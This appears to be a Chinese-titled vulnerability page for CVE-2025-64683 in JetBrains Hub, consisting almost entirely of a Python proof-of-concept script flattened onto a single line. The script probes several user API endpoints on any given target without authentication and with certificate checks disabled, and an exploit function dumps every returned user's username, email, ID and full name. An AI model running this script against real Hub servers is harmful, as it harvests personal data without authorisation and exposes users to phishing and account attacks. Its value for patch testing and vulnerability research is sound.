JetBrains Hub Users API信息泄露漏洞(CVE-2025-64683)

import requests import json # CVE-2025-64683 PoC - JetBrains Hub Users API Information Disclosure # Target: JetBrains Hub < 2025.3.104432 # Author: Security Researcher # Date: 2025-11-10 def check_vulnerability(target_url): """ Check if target JetBrains Hub instance is vulnerable to CVE-2025-64683 """ print(f"[*] Checking target: {target_url}") # Target Users API endpoint endpoints = [ "/api/users", "/rest/user/users", "/api/v1/users" ] for endpoint in endpoints: url = target_url.rstrip('/') + endpoint print(f"\n[*] Testing endpoint: {url}") try: # Send unauthenticated request to Users API response = requests.get(url, timeout=10, verify=False) if response.status_code == 200: try: data = response.json() if data and (isinstance(data, list) or 'user' in str(data).lower()): print(f"[+] VULNERABLE! Information disclosure detected at {url}") print(f"[+] Response preview: {json.dumps(data, indent=2)[:500]}") return True except: pass elif response.status_code == 401 or response.status_code == 403: print(f"[-] Endpoint requires authentication (HTTP {response.status_code})") else: print(f"[-] Unexpected response (HTTP {response.status_code})") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") print("\n[-] Target does not appear to be vulnerable to CVE-2025-64683") return False def exploit_information_disclosure(target_url): """ Exploit CVE-2025-64683 to extract user information """ print(f"\n[+] Exploiting CVE-2025-64683 on {target_url}") url = target_url.rstrip('/') + '/api/users' try: # Unauthenticated request to Users API response = requests.get(url, timeout=10, verify=False) if response.status_code == 200: users = response.json() print(f"\n[+] Successfully retrieved {len(users)} user records:") for i, user in enumerate(users, 1): print(f"\n[User {i}]") print(f" Username: {user.get('username', 'N/A')}") print(f" Email: {user.get('email', 'N/A')}") print(f" User ID: {user.get('id', 'N/A')}") print(f" Full Name: {user.get('fullName', 'N/A')}") return users else: print(f"[-] Failed to retrieve users (HTTP {response.status_code})") return None except Exception as e: print(f"[-] Exploit failed: {e}") return None if __name__ == "__main__": import sys if len(sys.argv) < 2: print("Usage: python cve-2025-64683.py <target_url>") print("Example: python cve-2025-64683.py https://hub.example.com") sys.exit(1) target = sys.argv[1] check_vulnerability(target) # Uncomment to extract user data: # exploit_information_disclosure(target)